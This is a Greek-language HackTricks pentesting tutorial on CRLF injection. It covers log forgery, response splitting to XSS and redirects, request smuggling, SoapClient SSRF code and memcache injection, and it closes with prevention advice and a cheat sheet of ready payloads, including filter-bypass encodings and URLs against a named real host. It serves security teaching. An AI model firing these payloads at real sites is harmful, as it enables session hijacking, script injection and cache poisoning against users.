25 KiB
Ενσωμάτωση CRLF (%0D%0A)
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Συμβουλή για ανταμοιβή ευρημάτων: Εγγραφείτε στο Intigriti, μια προηγμένη πλατφόρμα ανταμοιβής ευρημάτων διακινδύνευσης δημιουργημένη από χάκερς, για χάκερς! Γίνετε μέλος μας στο https://go.intigriti.com/hacktricks σήμερα και αρχίστε να κερδίζετε ανταμοιβές έως και $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
CRLF
Η επιστροφή καρέτου (CR) και η αλλαγή γραμμής (LF), γνωστές συλλογικά ως CRLF, είναι ειδικές ακολουθίες χαρακτήρων που χρησιμοποιούνται στο πρωτόκολλο HTTP για να υποδεικνύουν το τέλος μιας γραμμής ή την έναρξη μιας νέας. Οι διακομιστές και οι περιηγητές ιστού χρησιμοποιούν το CRLF για να διακρίνουν μεταξύ των κεφαλίδων HTTP και του σώματος μιας απάντησης. Αυτοί οι χαρακτήρες χρησιμοποιούνται καθολικά στις επικοινωνίες HTTP/1.1 σε διάφορους τύπους διακομιστών ιστού, όπως ο Apache και ο Microsoft IIS.
Ευπάθεια Ενσωμάτωσης CRLF
Η ενσωμάτωση CRLF περιλαμβάνει την εισαγωγή των χαρακτήρων CR και LF στην είσοδο που παρέχεται από τον χρήστη. Αυτή η ενέργεια παραπλανά τον διακομιστή, την εφαρμογή ή τον χρήστη ώστε να ερμηνεύσουν την εισαγόμενη ακολουθία ως το τέλος μιας απάντησης και την έναρξη μιας άλλης. Αν και αυτοί οι χαρακτήρες δεν είναι ενδημικά επιβλαβείς, η κατάχρησή τους μπορεί να οδηγήσει σε διάσπαση απάντησης HTTP και άλλες κακόβουλες δραστηριότητες.
Παράδειγμα: Ενσωμάτωση CRLF σε Αρχείο Καταγραφής
Λάβετε υπόψη ένα αρχείο καταγραφής σε ένα πίνακα διαχειριστή που ακολουθεί τη μορφή: IP - Ώρα - Διαδρομή Επίσκεψης
. Μια τυπική καταχώρηση μπορεί να φαίνεται όπως:
123.123.123.123 - 08:15 - /index.php?page=home
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί μια ενσωμάτωση CRLF για να διαμορφώσει αυτό το αρχείο καταγραφής. Με την ενσωμάτωση χαρακτήρων CRLF στο αίτημα HTTP, ο επιτιθέμενος μπορεί να τροποποιήσει τη ροή εξόδου και να πλαστογραφήσει καταχωρήσεις καταγραφής. Για παράδειγμα, μια ενσωματωμένη ακολουθία μπορεί να μετατρέψει την καταχώρηση καταγραφής σε:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Εδώ, το %0d
και το %0a
αντιπροσωπεύουν τις μορφές του CR και LF που έχουν κωδικοποιηθεί σε μορφή URL. Μετά την επίθεση, το αρχείο καταγραφής θα εμφανίσει παραπλανητικά:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Έτσι ο επιτιθέμενος καλύπτει τις κακόβουλες δραστηριότητές του κάνοντας να φαίνεται ότι το localhost (ένα οντότητα συνήθως αξιόπιστη μέσα στο περιβάλλον του διακομιστή) πραγματοποίησε τις ενέργειες. Ο διακομιστής ερμηνεύει το τμήμα του ερωτήματος που ξεκινά με %0d%0a
ως ένα μόνο παράμετρο, ενώ η παράμετρος restrictedaction
ερμηνεύεται ως ένας άλλος, ξεχωριστό είσοδος. Το παραμορφωμένο ερώτημα μιμείται αποτελεσματικά ένα νόμιμο διαχειριστικό εντολή: /index.php?page=home&restrictedaction=edit
Διάσπαση Απάντησης HTTP
Περιγραφή
Η Διάσπαση Απάντησης HTTP είναι μια ευπάθεια ασφάλειας που προκύπτει όταν ένας επιτιθέμενος εκμεταλλεύεται τη δομή των απαντήσεων HTTP. Αυτή η δομή χωρίζει τις κεφαλίδες από το σώμα χρησιμοποιώντας μια συγκεκριμένη ακολουθία χαρακτήρων, Επιστροφή Κέραιας (CR) ακολουθούμενη από Αλλαγή Γραμμής (LF), συλλογικά αναφέρονται ως CRLF. Αν ένας επιτιθέμενος καταφέρει να εισάγει μια ακολουθία CRLF σε μια κεφαλίδα απάντησης, μπορεί να διαμορφώσει αποτελεσματικά το περιεχόμενο της επόμενης απάντησης. Αυτού του είδους η διαμόρφωση μπορεί να οδηγήσει σε σοβαρά θέματα ασφαλείας, ιδίως Cross-site Scripting (XSS).
XSS μέσω Διάσπασης Απάντησης HTTP
- Η εφαρμογή ορίζει μια προσαρμοσμένη κεφαλίδα όπως αυτή:
X-Custom-Header: UserInput
- Η εφαρμογή ανακτά την τιμή για το
UserInput
από ένα παράμετρο ερωτήματος, π.χ. "user_input". Σε σενάρια χωρίς κατάλληλο έλεγχο εισόδου και κωδικοποίηση, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα φορτίο που περιλαμβάνει την ακολουθία CRLF, ακολουθούμενη από κακόβουλο περιεχόμενο. - Ένας επιτιθέμενος δημιουργεί ένα URL με ένα ειδικά διαμορφωμένο 'user_input':
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- Σε αυτό το URL,
%0d%0a%0d%0a
είναι η μορφή κωδικοποίησης URL του CRLFCRLF. Κάνει τον διακομιστή να εισάγει μια ακολουθία CRLF, κάνοντας τον διακομιστή να θεωρήσει το επόμενο τμήμα ως το σώμα της απάντησης.
- Ο διακομιστής αντανακλά την είσοδο του επιτιθέμενου στην κεφαλίδα απάντησης, οδηγώντας σε μια μη επιθυμητή δομή απάντησης όπου το κακόβουλο σενάριο ερμηνεύεται από τον περιηγητή ως μέρος του σώματος της απάντησης.
Ένα παράδειγμα Διάσπασης Απάντησης HTTP που οδηγεί σε Ανακατεύθυνση
Περιηγητής προς:
/%0d%0aLocation:%20http://myweb.com
Και ο διακομιστής απαντά με την κεφαλίδα:
Location: http://myweb.com
Άλλο παράδειγμα: (από https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Στη διαδρομή URL
Μπορείτε να στείλετε το φορτίο μέσα στη διαδρομή του URL για να ελέγξετε την απόκριση από τον διακομιστή (παράδειγμα από εδώ):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
Δείτε περισσότερα παραδείγματα στο:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
Εισαγωγή Κεφαλίδων HTTP
Η εισαγωγή κεφαλίδων HTTP, συχνά εκμεταλλευόμενη μέσω CRLF (Επιστροφή Καρέτου και Αλλαγή Γραμμής), επιτρέπει στους επιτιθέμενους να εισάγουν κεφαλίδες HTTP. Αυτό μπορεί να υπονομεύσει μηχανισμούς ασφαλείας όπως οι φίλτρα XSS (Cross-Site Scripting) ή η SOP (Πολιτική Ίδιας Προέλευσης), οδηγώντας πιθανότατα σε μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητα δεδομένα, όπως τα CSRF tokens, ή την παραπλάνηση των συνεδριών χρήστη μέσω της φύτευσης cookie.
Εκμετάλλευση του CORS μέσω Εισαγωγής Κεφαλίδων HTTP
Ένας επιτιθέμενος μπορεί να εισάγει κεφαλίδες HTTP για να ενεργοποιήσει το CORS (Διαμοιρασμός Πόρων Από Διαφορετική Προέλευση), παρακάμπτοντας τους περιορισμούς που επιβάλλονται από την SOP. Αυτή η παραβίαση επιτρέπει σε σενάρια από κακόβουλες προελεύσεις να αλληλεπιδρούν με πόρους από μια διαφορετική προέλευση, πιθανόν έχοντας πρόσβαση σε προστατευμένα δεδομένα.
SSRF και Εισαγωγή Αιτήσεων HTTP μέσω CRLF
Η εισαγωγή CRLF μπορεί να χρησιμοποιηθεί για να δημιουργήσει και να εισάγει μια εντελώς νέα αίτηση HTTP. Ένα ενδεικτικό παράδειγμα αυτού είναι η ευπάθεια στην κλάση SoapClient
της PHP, ειδικά στην παράμετρο user_agent
. Με τη χειραγώγηση αυτής της παραμέτρου, ένας επιτιθέμενος μπορεί να εισάγει επιπλέον κεφαλίδες και περιεχόμενο σώματος, ή ακόμη και να εισάγει μια εντελώς νέα αίτηση HTTP. Παρακάτω υπάρχει ένα παράδειγμα σε PHP που δείχνει αυτήν την εκμετάλλευση:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
Ενσωμάτωση Κεφαλίδων για Request Smuggling
Για περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική και τυχόν προβλήματα ελέγξτε την πρωτότυπη πηγή.
Μπορείτε να ενσωματώσετε βασικές κεφαλίδες για να εξασφαλίσετε ότι το back-end διατηρεί τη σύνδεση ανοιχτή μετά την απάντηση στο αρχικό αίτημα:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Στη συνέχεια, μπορεί να καθοριστεί ένα δεύτερο αίτημα. Αυτό το σενάριο συνήθως περιλαμβάνει HTTP request smuggling, μια τεχνική όπου επιπλέον κεφαλίδες ή στοιχεία σώματος που προστίθενται από τον διακομιστή μετά την ενσωμάτωση μπορεί να οδηγήσουν σε διάφορες εκμεταλλεύσεις ασφάλειας.
Εκμετάλλευση:
- Κακόβουλη Προσθήκη Προθέματος: Αυτή η μέθοδος περιλαμβάνει τη δηλητηρίαση του επόμενου αιτήματος του χρήστη ή ενός web cache με την καθορισμένη κακόβουλη προσθήκη. Ένα παράδειγμα αυτού είναι:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- Δημιουργία Προθέματος για Δηλητηρίαση της Ουράς Απάντησης: Αυτή η προσέγγιση περιλαμβάνει τη δημιουργία ενός προθέματος που, όταν συνδυαστεί με τελικά αχρήστευτα στοιχεία, σχηματίζει ένα πλήρες δεύτερο αίτημα. Αυτό μπορεί να ενεργοποιήσει τη δηλητηρίαση της ουράς απάντησης. Ένα παράδειγμα είναι:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Έγχυση Memcache
Το Memcache είναι ένα key-value store που χρησιμοποιεί ένα πρωτόκολλο κειμένου. Περισσότερες πληροφορίες στο:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
Για πλήρεις πληροφορίες διαβάστε το πρωτότυπο άρθρο
Αν μια πλατφόρμα παίρνει δεδομένα από ένα αίτημα HTTP και τα χρησιμοποιεί χωρίς αποσυνδυασμό για να εκτελέσει αιτήσεις σε ένα διακομιστή memcache, ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτήν τη συμπεριφορά για να εισάγει νέες εντολές memcache.
Για παράδειγμα, στην αρχική ευρεθείσα ευπάθεια, τα κλειδιά cache χρησιμοποιήθηκαν για να επιστρέψουν τη διεύθυνση IP και τη θύρα στην οποία θα έπρεπε να συνδεθεί ο χρήστης, και οι επιτιθέμενοι μπόρεσαν να εισάγουν εντολές memcache που θα δηλητηρίαζαν τη μνήμη cache για να στείλουν τα στοιχεία των θυμάτων (συμπεριλαμβανομένων ονομάτων χρηστών και κωδικών πρόσβασης) στους διακομιστές του επιτιθέμενου:
Επιπλέον, οι ερευνητές ανέκαλψαν ότι μπορούσαν να αποσυγχρονίσουν τις απαντήσεις του memcache για να στείλουν τις διευθύνσεις IP και τις θύρες των επιτιθέμενων σε χρήστες των email που ο επιτιθέμενος δεν γνώριζε:
Πώς να Αποτρέψετε τις Έγχυσεις CRLF / Κεφαλίδων HTTP σε Εφαρμογές Web
Για να μειώσετε τους κινδύνους των Έγχυσεων CRLF (Carriage Return and Line Feed) ή των Έγχυσεων Κεφαλίδων HTTP σε εφαρμογές web, συνιστώνται οι ακόλουθες στρατηγικές:
- Αποφύγετε την Άμεση Είσοδο Χρήστη στις Κεφαλίδες Απάντησης: Η ασφαλέστερη προσέγγιση είναι να αποφεύγετε την ενσωμάτωση εισόδου που παρέχεται απευθείας από τον χρήστη στις κεφαλίδες απάντησης.
- Κωδικοποιήστε Ειδικούς Χαρακτήρες: Αν δεν είναι δυνατή η αποφυγή της άμεσης εισόδου χρήστη, βεβαιωθείτε ότι χρησιμοποιείτε μια λειτουργία αφιερωμένη στην κωδικοποίηση ειδικών χαρακτήρων όπως CR (Carriage Return) και LF (Line Feed). Αυτή η πρακτική αποτρέπει τη δυνατότητα έγχυσης CRLF.
- Ενημερώστε τη Γλώσσα Προγραμματισμού: Ενημερώνετε τακτικά τη γλώσσα προγραμματισμού που χρησιμοποιείτε στις εφαρμογές web σας στην τελευταία έκδοση. Επιλέξτε μια έκδοση που αποκλείει από μόνη της την έγχυση των χαρακτήρων CR και LF εντός των λειτουργιών που ασχολούνται με την ρύθμιση των κεφαλίδων HTTP.
ΦΥΛΛΟΔΕΙΓΜΑ
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Αυτόματα Εργαλεία
Λίστα Ανίχνευσης Επίθεσης Βίας
Αναφορές
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
Συμβουλή για bug bounty: Εγγραφείτε στο Intigriti, μια προηγμένη πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς! Γίνετε μέλος στο https://go.intigriti.com/hacktricks σήμερα, και αρχίστε να κερδίζετε αμοιβές έως και $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.